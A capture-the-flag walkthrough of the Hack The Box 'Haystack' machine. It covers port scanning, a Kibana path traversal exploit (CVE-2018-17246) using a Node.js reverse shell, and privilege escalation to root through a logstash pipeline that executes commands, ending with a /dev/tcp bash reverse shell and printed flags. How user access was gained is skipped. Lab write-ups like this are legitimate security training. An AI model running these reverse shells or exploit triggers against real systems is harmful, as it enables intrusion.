# Hack the Box Walkthrough: Haystack

## Overview

This post provides a walkthrough of the Haystack system on Hack The Box. This walktrough, in entirety, is a spoiler.

I create these walkthroughs as documentation for myself while working through a system; excuse any brevity or lack of formality. I’ve uploaded this walkthrough to help those that may be stuck.

## Service Enumeration

To kick things off, we start with some service discovery to figure out what is actually running on this box.

### Nmap Scan

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  # nmap -Pn -n -A -T5 -p1-65535 10.10.10.115 [snip] PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA) | 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA) |_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (text/html). 9200/tcp open http nginx 1.12.2 | http-methods: |_ Potentially risky methods: DELETE |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (application/json; charset=UTF-8). [snip] 

## Exploring Port 80

If we hit the index page on port 80 all we get is a page that loads an image called needle.jpg. I spent some time using dirbuster to explore the webserver but I couldn’t find anything. I decided to see if there was any data inside of the image itself. I used exim, exiv2, and eximtools to analyze image metadata and then I used strings to pull out any interesting characters.

## Getting User Flag

 1 2 3 4  [security@haystack ~]$ls user.txt [security@haystack ~]$ cat user.txt 04d18bc79dac1d4d48ee0a940c8eb929 

### Privilege Elevation

I performed some basic enumeration and I didn’t see any direct ways to get to root immediately. I did notice that the /opt/kibana folder was not accessible by the security user. I noticed that kibana was running, but only on the local loopback interface.

 1 2 3 4 5 6 7  [security@haystack ~]$ps aux | grep kibana kibana 6363 0.4 5.7 1367276 223904 ? Ssl 12:06 2:55 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml kibana 26575 0.0 0.0 113176 1360 ? S 15:46 0:00 /bin/sh kibana 26617 0.0 0.1 129620 4772 ? S 15:47 0:00 python -c import pty;pty.spawn("/bin/bash") kibana 26618 0.0 0.0 115584 2132 pts/3 Ss+ 15:47 0:00 /bin/bash security 46331 0.0 0.0 112708 972 pts/0 R+ 22:18 0:00 grep --color=auto kibana  netstat and lsof were not accessible so I used a number of alternative solutions to list listening ports.   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21  [security@haystack ~]$ grep -v "rem_address" /proc/net/tcp | awk '{x=strtonum("0x"substr($3,index($3,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($3,i,2))}{print x":"strtonum("0x"substr($3,index($3,":")+1,4))}' 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 127.0.0.1:46970 127.0.0.1:9200 127.0.0.1:46248 127.0.0.1:43628 127.0.0.1:42080 127.0.0.1:43852 127.0.0.1:9200 127.0.0.1:47036 127.0.0.1:9200 127.0.0.1:46312 10.10.14.11:34278 127.0.0.1:9200 127.0.0.1:46908 127.0.0.1:9200 127.0.0.1:9200 127.0.0.1:46372    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39  [security@haystack ~]$ awk 'function hextodec(str,ret,n,i,k,c){ > ret = 0 > n = length(str) > for (i = 1; i <= n; i++) { > c = tolower(substr(str, i, 1)) > k = index("123456789abcdef", c) > ret = ret * 16 + k > } > return ret > } > function getIP(str,ret){ > ret=hextodec(substr(str,index(str,":")-2,2)); > for (i=5; i>0; i-=2) { > ret = ret"."hextodec(substr(str,i,2)) > } > ret = ret":"hextodec(substr(str,index(str,":")+1,4)) > return ret > } > NR > 1 {{if(NR==2)print "Local - Remote";local=getIP($2);remote=getIP($3)}{print local" - "remote}}' /proc/net/tcp Local - Remote 0.0.0.0:80 - 0.0.0.0:0 0.0.0.0:9200 - 0.0.0.0:0 0.0.0.0:22 - 0.0.0.0:0 127.0.0.1:5601 - 0.0.0.0:0 127.0.0.1:9200 - 127.0.0.1:46970 127.0.0.1:42080 - 127.0.0.1:9200 127.0.0.1:9200 - 127.0.0.1:43628 127.0.0.1:9200 - 127.0.0.1:42080 127.0.0.1:47580 - 127.0.0.1:9200 127.0.0.1:9200 - 127.0.0.1:43852 127.0.0.1:43628 - 127.0.0.1:9200 127.0.0.1:9200 - 127.0.0.1:47036 127.0.0.1:43852 - 127.0.0.1:9200 10.10.10.115:22 - 10.10.14.11:34278 127.0.0.1:9200 - 127.0.0.1:47580 127.0.0.1:47036 - 127.0.0.1:9200 127.0.0.1:9200 - 127.0.0.1:46908 127.0.0.1:46970 - 127.0.0.1:9200 

I enumerated the version of Kibana and found that it appeared to be vulnerable to [CVE-2018-17246]((https://github.com/mpgn/CVE-2018-17246). The attack requires the use of a node.js shell. I grabbed an existing implementation from form https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell and saved to /tmp/shell.js.

  1 2 3 4 5 6 7 8 9 10 11 12  (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1337, "10.10.14.11", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })(); 

Secondly, I needed to trigger the LFI vulnerability by invoking the following:

/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell.js

In order to invoke this though, I needed to communicate with the Kibana instance. I did this using SSH local port forwarding; forwarding a local port on my system to port 127.0.0.1:5601 on haystack

This allowed me to hit the kibana site and run the exploit trigger:

http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell.js

The following shows the shell coming back as kibana.

 1 2 3 4 5 6  # netcat -vlp 1338 listening on [any] 1338 ... 10.10.10.115: inverse host lookup failed: Unknown host connect to [10.10.14.11] from (UNKNOWN) [10.10.10.115] 55814 whoami kibana 

This is not mandatory, but it makes life easier with tab completion and the shell not dying if you hit ctrl+c

## Enumeration as Kibana

Notice an interesting process being ran by root:

 1 2 3 4 5 6 7  bash-4.2$ps aux | grep root [...] root 6365 0.0 0.0 26376 1760 ? Ss 12:06 0:00 /usr/lib/systemd/systemd-logind root 6390 0.8 12.6 2725760 488988 ? SNsl 12:06 5:12 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash root 6417 0.0 0.0 126284 1696 ? Ss 12:06 0:00 /usr/sbin/crond -n root 6422 0.0 0.7 358584 29444 ? Ssl 12:06 0:01 /usr/bin/python -Es [...]  I also looked for files owned by the kibana group. Amongst other results, this stood out:   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19  bash-4.2$ find / -group kibana [...] find: ‘/etc/audit’: Permiso denegado find: ‘/etc/sudoers.d’: Permiso denegado find: ‘/etc/elasticsearch’: Permiso denegado /etc/logstash/conf.d /etc/logstash/conf.d/output.conf /etc/logstash/conf.d/input.conf /etc/logstash/conf.d/filter.conf /etc/logstash/log4j2.properties /etc/logstash/logstash-sample.conf /etc/logstash/pipelines.yml /etc/logstash/jvm.options /etc/logstash/logstash.yml /etc/logstash/startup.options /etc/logstash/logstash.yml.rpmnew find: ‘/etc/vmware-tools/GuestProxyData/trusted’: Permiso denegado find: ‘/root’: Permiso denegado [...] 

These two things seemed too coincidental to not be something in relation to getting root access.

After doing some research I saw that logstash was configured to use the pipeline established in the /etc/logstash/conf.d/ folder. This pipline did the following

  1 2 3 4 5 6 7 8 9 10 11  bash-4.2$cat input.conf input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" } }   1 2 3 4 5 6 7 8  bash-4.2$ cat filter.conf filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } } 
 1 2 3 4 5 6 7 8 9  bash-4.2\$ cat /etc/logstash/conf.d/output.conf output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } } } 

logstash takes input from files named /opt/kibana/logstash_* and then runs them through the grok filter noted above. The extracted content is then executed.

I used the online grok debugger (https://grokdebug.herokuapp.com/) to get an understanding of what the grok filter was doing.

Ultimately I determined that, in order to get the command to execute, the file placed at /opt/kibana/logstash_* needs to contain a line formatted as follows:

 1  Ejecutar comando : [your_command_here] 

## Exploiting logstash and Getting Root Flag

I created a file caled /opt/kibana/logstash_1 containing:

 1  Ejecutar comando : bash -i >& /dev/tcp/10.10.14.11/8080 0>&1 

netcat and nc  not on the box so had to use something else

I then waited about 10-20 seconds before it was executed and I gained a shell back:

  1 2 3 4 5 6 7 8 9 10 11 12  root@htbvm:~# netcat -vlp 8080 listening on [any] 8080 ... 10.10.10.115: inverse host lookup failed: Unknown host connect to [10.10.14.11] from (UNKNOWN) [10.10.10.115] 39868 bash: no hay control de trabajos en este shell [root@haystack /]# whoami whoami root [root@haystack /]# cat /root/root.txt cat /root/root.txt 3f5f727c38d9f70e1d2ad2ba11059d92 [root@haystack /]#